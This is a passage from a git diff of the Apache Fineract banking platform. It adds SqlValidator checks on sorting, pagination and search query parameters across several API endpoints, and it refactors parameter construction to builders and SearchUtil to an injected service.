     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -177,10 +179,14 @@
             return this.toApiJsonSerializer.serialize(settings, staffCenterDataArray,
                     GroupingTypesApiConstants.STAFF_CENTER_RESPONSE_DATA_PARAMETERS);
         }
-        final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
-        final Boolean isOrphansOnly = false;
-        final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
-                orderBy, sortOrder, isOrphansOnly);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        sqlValidator.validate(hierarchy);
+        final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).officeId(officeId).externalId(externalId)
+                .name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder).staffId(staffId).build();
         if (parameters.isPaged()) {
             final Page<CenterData> centers = this.centerReadPlatformService.retrievePagedAll(searchParameters, parameters);
             return this.toApiJsonSerializer.serialize(settings, centers, GroupingTypesApiConstants.CENTER_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
index ae6abc1..82608b0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/api/GroupsApiResource.java
@@ -74,6 +74,7 @@
 import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
 import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.accountdetails.data.AccountSummaryCollectionData;
 import org.apache.fineract.portfolio.accountdetails.service.AccountDetailsReadPlatformService;
 import org.apache.fineract.portfolio.calendar.data.CalendarData;
@@ -130,6 +131,7 @@
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
     private final GLIMAccountInfoReadPlatformService glimAccountInfoReadPlatformService;
     private final GSIMReadPlatformService gsimReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -197,11 +199,17 @@
             @QueryParam("orphansOnly") @Parameter(description = "orphansOnly") final Boolean orphansOnly) {
 
         context.authenticatedUser().validateHasReadPermission(GroupingTypesApiConstants.GROUP_RESOURCE_NAME);
-        final PaginationParameters parameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        sqlValidator.validate(hierarchy);
+        final PaginationParameters parameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
         final ApiRequestJsonSerializationSettings settings = apiRequestParameterHelper.process(uriInfo.getQueryParameters());
 
-        final SearchParameters searchParameters = SearchParameters.forGroups(officeId, staffId, externalId, name, hierarchy, offset, limit,
-                orderBy, sortOrder, orphansOnly);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).isSelfUser(false).officeId(officeId)
+                .externalId(externalId).name(name).hierarchy(hierarchy).offset(offset).orderBy(orderBy).sortOrder(sortOrder)
+                .staffId(staffId).orphansOnly(orphansOnly).build();
         if (parameters.isPaged()) {
             final Page<GroupGeneralData> groups = groupReadPlatformService.retrievePagedAll(searchParameters, parameters);
             return toApiJsonSerializer.serialize(settings, groups, GroupingTypesApiConstants.GROUP_RESPONSE_DATA_PARAMETERS);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
index e1e9b1d..d6fe072 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/CenterReadPlatformServiceImpl.java
@@ -317,16 +317,16 @@
         final SQLBuilder extraCriteria = getCenterExtraCriteria(this.centerMapper.schema(), searchParameters);
         extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
         sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
                     searchParameters.getSortOrder());
 
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
@@ -352,15 +352,15 @@
         extraCriteria.addNonNullCriteria("o.hierarchy like ", hierarchySearchString);
         sqlBuilder.append(' ').append(extraCriteria.getSQLTemplate());
         if (searchParameters != null) {
-            if (searchParameters.isOrderByRequested()) {
+            if (searchParameters.hasOrderBy()) {
                 sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
                         searchParameters.getSortOrder());
             }
 
-            if (searchParameters.isLimited()) {
+            if (searchParameters.hasLimit()) {
                 sqlBuilder.append(" ");
-                if (searchParameters.isOffset()) {
+                if (searchParameters.hasOffset()) {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
                 } else {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
index 204dda9..f1bde48 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/group/service/GroupReadPlatformServiceImpl.java
@@ -137,15 +137,15 @@
         final SQLBuilder extraCriteria = getGroupExtraCriteria(searchParameters);
         extraCriteria.addCriteria(" o.hierarchy like ", hierarchySearchString);
         sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
-        if (parameters.isOrderByRequested()) {
+        if (parameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy()).append(' ').append(searchParameters.getSortOrder());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy(),
                     searchParameters.getSortOrder());
         }
 
-        if (parameters.isLimited()) {
+        if (parameters.hasLimit()) {
             sqlBuilder.append(" limit ").append(searchParameters.getLimit());
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(" offset ").append(searchParameters.getOffset());
             }
         }
@@ -168,17 +168,17 @@
 
         sqlBuilder.append(" ").append(extraCriteria.getSQLTemplate());
 
-        if (searchParameters != null && searchParameters.isOrphansOnly()) {
+        if (searchParameters != null && searchParameters.getOrphansOnly()) {
             sqlBuilder.append(" and g.parent_id is NULL");
         }
 
         if (parameters != null) {
-            if (parameters.isOrderByRequested()) {
+            if (parameters.hasOrderBy()) {
                 sqlBuilder.append(parameters.orderBySql());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.orderBySql());
             }
 
-            if (parameters.isLimited()) {
+            if (parameters.hasLimit()) {
                 sqlBuilder.append(parameters.limitSql());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), parameters.limitSql());
             }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
index 006149d..684f458 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/api/LoansApiResource.java
@@ -87,6 +87,7 @@
 import org.apache.fineract.infrastructure.dataqueries.data.StatusEnum;
 import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.organisation.monetary.data.CurrencyData;
 import org.apache.fineract.organisation.staff.data.StaffData;
 import org.apache.fineract.portfolio.account.PortfolioAccountType;
@@ -279,6 +280,7 @@
     private final LoanCollateralManagementReadPlatformService loanCollateralManagementReadPlatformService;
     private final DefaultToApiJsonSerializer<LoanDelinquencyTagHistoryData> jsonSerializerTagHistory;
     private final DelinquencyReadPlatformService delinquencyReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     /*
      * This template API is used for loan approval, ideally this should be invoked on loan that are pending for
@@ -476,6 +478,10 @@
 
         this.context.authenticatedUser().validateHasReadPermission(RESOURCE_NAME_FOR_PERMISSIONS);
 
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(accountNo);
+        sqlValidator.validate(externalId);
         final SearchParameters searchParameters = SearchParameters.builder().accountNo(accountNo).sortOrder(sortOrder)
                 .externalId(externalId).offset(offset).limit(limit).orderBy(orderBy).status(status).build();
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
index 02f6cd7..5f7efd0 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/loanaccount/service/LoanReadPlatformServiceImpl.java
@@ -349,19 +349,19 @@
                 arrayPos = arrayPos + 1;
             }
 
-            if (searchParameters.isOrderByRequested()) {
+            if (searchParameters.hasOrderBy()) {
                 sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-                if (searchParameters.isSortOrderProvided()) {
+                if (searchParameters.hasSortOrder()) {
                     sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                     this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
                 }
             }
 
-            if (searchParameters.isLimited()) {
+            if (searchParameters.hasLimit()) {
                 sqlBuilder.append(" ");
-                if (searchParameters.isOffset()) {
+                if (searchParameters.hasOffset()) {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
                 } else {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
index b88b973..72128a9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/DepositAccountOnHoldFundTransactionsApiResource.java
@@ -35,6 +35,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.savings.SavingsApiConstants;
 import org.apache.fineract.portfolio.savings.data.DepositAccountOnHoldTransactionData;
 import org.apache.fineract.portfolio.savings.service.DepositAccountOnHoldTransactionReadPlatformService;
@@ -50,6 +51,7 @@
     private final DefaultToApiJsonSerializer<DepositAccountOnHoldTransactionData> toApiJsonSerializer;
     private final ApiRequestParameterHelper apiRequestParameterHelper;
     private final DepositAccountOnHoldTransactionReadPlatformService depositAccountOnHoldTransactionReadPlatformService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Consumes({ MediaType.APPLICATION_JSON })
@@ -60,7 +62,10 @@
 
         this.context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
 
-        final SearchParameters searchParameters = SearchParameters.forPagination(offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).offset(offset).orderBy(orderBy)
+                .sortOrder(sortOrder).build();
 
         final Page<DepositAccountOnHoldTransactionData> transfers = this.depositAccountOnHoldTransactionReadPlatformService
                 .retriveAll(savingsId, guarantorFundingId, searchParameters);
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
index 3c14795..786baf9 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/FixedDepositAccountsApiResource.java
@@ -69,6 +69,7 @@
 import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.account.data.PortfolioAccountData;
 import org.apache.fineract.portfolio.account.service.AccountAssociationsReadPlatformService;
 import org.apache.fineract.portfolio.savings.DepositAccountType;
@@ -105,6 +106,7 @@
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
     private final FixedDepositAccountInterestCalculationService fixedDepositAccountInterestCalculationService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -144,7 +146,10 @@
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
 
         this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.FIXED_DEPOSIT_ACCOUNT_RESOURCE_NAME);
-        final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
+                .offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
 
         if (paginationParameters.isPaged()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
index 549f68c..25294dc 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/RecurringDepositAccountsApiResource.java
@@ -67,6 +67,7 @@
 import org.apache.fineract.infrastructure.core.serialization.FromJsonHelper;
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.savings.DepositAccountType;
 import org.apache.fineract.portfolio.savings.DepositsApiConstants;
 import org.apache.fineract.portfolio.savings.SavingsApiConstants;
@@ -98,6 +99,7 @@
     private final DepositAccountPreMatureCalculationPlatformService accountPreMatureCalculationPlatformService;
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -138,7 +140,10 @@
             @QueryParam("sortOrder") @Parameter(description = "sortOrder") final String sortOrder) {
 
         this.context.authenticatedUser().validateHasReadPermission(DepositsApiConstants.RECURRING_DEPOSIT_ACCOUNT_RESOURCE_NAME);
-        final PaginationParameters paginationParameters = PaginationParameters.instance(paged, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        final PaginationParameters paginationParameters = PaginationParameters.builder().paged(Boolean.TRUE.equals(paged)).limit(limit)
+                .offset(offset).orderBy(orderBy).sortOrder(sortOrder).build();
         final ApiRequestJsonSerializationSettings settings = this.apiRequestParameterHelper.process(uriInfo.getQueryParameters());
 
         if (paginationParameters.isPaged()) {
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
index 8448fde..32d6a50 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/api/SavingsAccountsApiResource.java
@@ -65,6 +65,7 @@
 import org.apache.fineract.infrastructure.core.service.Page;
 import org.apache.fineract.infrastructure.core.service.SearchParameters;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
+import org.apache.fineract.infrastructure.security.service.SqlValidator;
 import org.apache.fineract.portfolio.savings.DepositAccountType;
 import org.apache.fineract.portfolio.savings.SavingsApiConstants;
 import org.apache.fineract.portfolio.savings.data.SavingsAccountChargeData;
@@ -92,6 +93,7 @@
     private final SavingsAccountChargeReadPlatformService savingsAccountChargeReadPlatformService;
     private final BulkImportWorkbookService bulkImportWorkbookService;
     private final BulkImportWorkbookPopulatorService bulkImportWorkbookPopulatorService;
+    private final SqlValidator sqlValidator;
 
     @GET
     @Path("template")
@@ -134,7 +136,11 @@
 
         context.authenticatedUser().validateHasReadPermission(SavingsApiConstants.SAVINGS_ACCOUNT_RESOURCE_NAME);
 
-        final SearchParameters searchParameters = SearchParameters.forSavings(externalId, offset, limit, orderBy, sortOrder);
+        sqlValidator.validate(orderBy);
+        sqlValidator.validate(sortOrder);
+        sqlValidator.validate(externalId);
+        final SearchParameters searchParameters = SearchParameters.builder().limit(limit).externalId(externalId).offset(offset)
+                .orderBy(orderBy).sortOrder(sortOrder).build();
 
         final Page<SavingsAccountData> products = savingsAccountReadPlatformService.retrieveAll(searchParameters);
 
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
index 77eada4..b19f00d 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/DepositAccountOnHoldTransactionReadPlatformServiceImpl.java
@@ -60,19 +60,19 @@
             paramObj.add(guarantorFundingId);
         }
 
-        if (searchParameters.isOrderByRequested()) {
+        if (searchParameters.hasOrderBy()) {
             sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
             this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-            if (searchParameters.isSortOrderProvided()) {
+            if (searchParameters.hasSortOrder()) {
                 sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
             }
         }
 
-        if (searchParameters.isLimited()) {
+        if (searchParameters.hasLimit()) {
             sqlBuilder.append(" ");
-            if (searchParameters.isOffset()) {
+            if (searchParameters.hasOffset()) {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
             } else {
                 sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
index 4a983e3..f40ca42 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/SavingsAccountReadPlatformServiceImpl.java
@@ -217,19 +217,19 @@
                 objectArray[arrayPos] = searchParameters.getOfficeId();
                 arrayPos = arrayPos + 1;
             }
-            if (searchParameters.isOrderByRequested()) {
+            if (searchParameters.hasOrderBy()) {
                 sqlBuilder.append(" order by ").append(searchParameters.getOrderBy());
                 this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getOrderBy());
 
-                if (searchParameters.isSortOrderProvided()) {
+                if (searchParameters.hasSortOrder()) {
                     sqlBuilder.append(' ').append(searchParameters.getSortOrder());
                     this.columnValidator.validateSqlInjection(sqlBuilder.toString(), searchParameters.getSortOrder());
                 }
             }
 
-            if (searchParameters.isLimited()) {
+            if (searchParameters.hasLimit()) {
                 sqlBuilder.append(" ");
-                if (searchParameters.isOffset()) {
+                if (searchParameters.hasOffset()) {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit(), searchParameters.getOffset()));
                 } else {
                     sqlBuilder.append(sqlGenerator.limit(searchParameters.getLimit()));
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
index 1bc81f6..6ccea90 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/service/search/SavingsAccountTransactionsSearchServiceImpl.java
@@ -69,6 +69,7 @@
     private final ReadWriteNonCoreDataService datatableService;
     private final DataTableValidator dataTableValidator;
     private final JdbcTemplate jdbcTemplate;
+    private final SearchUtil searchUtil;
 
     @Override
     public Page<SavingsAccountTransactionData> searchTransactions(@NotNull Long savingsId,
@@ -76,7 +77,7 @@
         context.authenticatedUser().validateHasReadPermission(SAVINGS_ACCOUNT_RESOURCE_NAME);
 
         String apptable = EntityTables.SAVINGS_TRANSACTION.getApptableName();
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil
                 .mapHeadersToName(genericDataService.fillResultsetColumnHeaders(apptable));
 
         PageRequest pageable = searchParameters.getPageable();
@@ -84,7 +85,7 @@
         if (pageable.getSort().isSorted()) {
             List<Sort.Order> orders = pageable.getSort().toList();
             sortPageable = pageable.withSort(Sort.by(orders.stream()
-                    .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+                    .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
         } else {
             pageable = pageable.withSort(Sort.Direction.DESC, "transaction_date", CREATED_DATE_DB_FIELD, "id");
             sortPageable = pageable;
@@ -108,7 +109,7 @@
         String alias = "tr";
         StringBuilder where = new StringBuilder();
         ArrayList<Object> params = new ArrayList<>();
-        SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
+        searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, null, null, null, false, sqlGenerator);
 
         SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper tm = new SavingsAccountReadPlatformServiceImpl.SavingsAccountTransactionsMapper();
         Object[] args = params.toArray();
@@ -185,8 +186,8 @@
         dataTableValidator.validateTableSearch(queryRequest);
 
         List<ResultsetColumnHeaderData> columnHeaders = genericDataService.fillResultsetColumnHeaders(apptable);
-        Map<String, ResultsetColumnHeaderData> headersByName = SearchUtil.mapHeadersToName(columnHeaders);
-        String pkColumn = SearchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
+        Map<String, ResultsetColumnHeaderData> headersByName = searchUtil.mapHeadersToName(columnHeaders);
+        String pkColumn = searchUtil.getFiltered(columnHeaders, ResultsetColumnHeaderData::getIsColumnPrimaryKey).getColumnName();
 
         AdvancedQueryData baseQuery = queryRequest.getBaseQuery();
         List<TableQueryData> datatableQueries = queryRequest.getDatatableQueries();
@@ -200,9 +201,9 @@
             selectColumns = new ArrayList<>();
         } else {
             columnFilters = baseQuery.getNonNullFilters();
-            columnFilters.forEach(e -> e.setColumn(SearchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
+            columnFilters.forEach(e -> e.setColumn(searchUtil.validateToJdbcColumnName(e.getColumn(), headersByName, false)));
             resultColumns = baseQuery.getNonNullResultColumns();
-            selectColumns = new ArrayList<>(SearchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
+            selectColumns = new ArrayList<>(searchUtil.validateToJdbcColumnNames(resultColumns, headersByName, true));
         }
         columnFilters.add(0, ColumnFilterData.eq("savings_account_id", savingsId.toString()));
         if (resultColumns.isEmpty() && !queryRequest.hasResultColumn()) {
@@ -214,7 +215,7 @@
         if (pageable.getSort().isSorted()) {
             List<Sort.Order> orders = pageable.getSort().toList();
             sortPageable = pageable.withSort(Sort.by(orders.stream()
-                    .map(e -> e.withProperty(SearchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
+                    .map(e -> e.withProperty(searchUtil.validateToJdbcColumnName(e.getProperty(), headersByName, false))).toList()));
         } else {
             pageable = pageable.withSort(Sort.Direction.DESC, pkColumn);
             sortPageable = pageable;
@@ -228,7 +229,7 @@
         StringBuilder from = new StringBuilder(" ").append(sqlGenerator.buildFrom(apptable, alias, false));
         StringBuilder where = new StringBuilder();
         ArrayList<Object> params = new ArrayList<>();
-        SearchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
+        searchUtil.buildQueryCondition(columnFilters, where, params, alias, headersByName, dateFormat, dateTimeFormat, locale, false,
                 sqlGenerator);
 
         if (datatableQueries != null) {
@@ -280,7 +281,7 @@
         SqlRowSet rowSet = jdbcTemplate.queryForRowSet(query.toString(), args);
 
         while (rowSet.next()) {
-            SearchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
+            searchUtil.extractJsonResult(rowSet, selectColumns, resultColumns, results);
         }
         return PageableExecutionUtils.getPage(results, pageable, () -> totalElements);
     }
diff --git a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
index 26b84a7..1d04add 100644
--- a/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
+++ b/fineract-provider/src/main/java/org/apache/fineract/portfolio/savings/starter/SavingsConfiguration.java
@@ -33,7 +33,7 @@
 import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksReadService;
 import org.apache.fineract.infrastructure.dataqueries.service.EntityDatatableChecksWritePlatformService;
 import org.apache.fineract.infrastructure.dataqueries.service.GenericDataService;
-import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataServiceImpl;
+import org.apache.fineract.infrastructure.dataqueries.service.ReadWriteNonCoreDataService;
 import org.apache.fineract.infrastructure.entityaccess.service.FineractEntityAccessUtil;
 import org.apache.fineract.infrastructure.event.business.service.BusinessEventNotifierService;
 import org.apache.fineract.infrastructure.security.service.PlatformSecurityContext;
@@ -138,6 +138,7 @@
 import org.apache.fineract.portfolio.savings.service.SavingsSchedularInterestPosterTask;
 import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionSearchService;
 import org.apache.fineract.portfolio.savings.service.search.SavingsAccountTransactionsSearchServiceImpl;
+import org.apache.fineract.portfolio.search.service.SearchUtil;
 import org.apache.fineract.useradministration.domain.AppUserRepositoryWrapper;
 import org.springframework.boot.autoconfigure.condition.ConditionalOnMissingBean;
 import org.springframework.context.annotation.Bean;
@@ -151,10 +152,10 @@
     @Bean
     @ConditionalOnMissingBean(SavingsAccountTransactionSearchService.class)
     public SavingsAccountTransactionSearchService savingsAccountTransactionSearchService(PlatformSecurityContext context,
-            GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator,
-            ReadWriteNonCoreDataServiceImpl datatableService, DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate) {
+            GenericDataService genericDataService, DatabaseSpecificSQLGenerator sqlGenerator, ReadWriteNonCoreDataService datatableService,
+            DataTableValidator dataTableValidator, JdbcTemplate jdbcTemplate, SearchUtil searchUtil) {
         return new SavingsAccountTransactionsSearchServiceImpl(context, genericDataService, sqlGenerator, datatableService,
-                dataTableValidator, jdbcTemplate);
+                dataTableValidator, jdbcTemplate, searchUtil);
     }
 
     @Bean
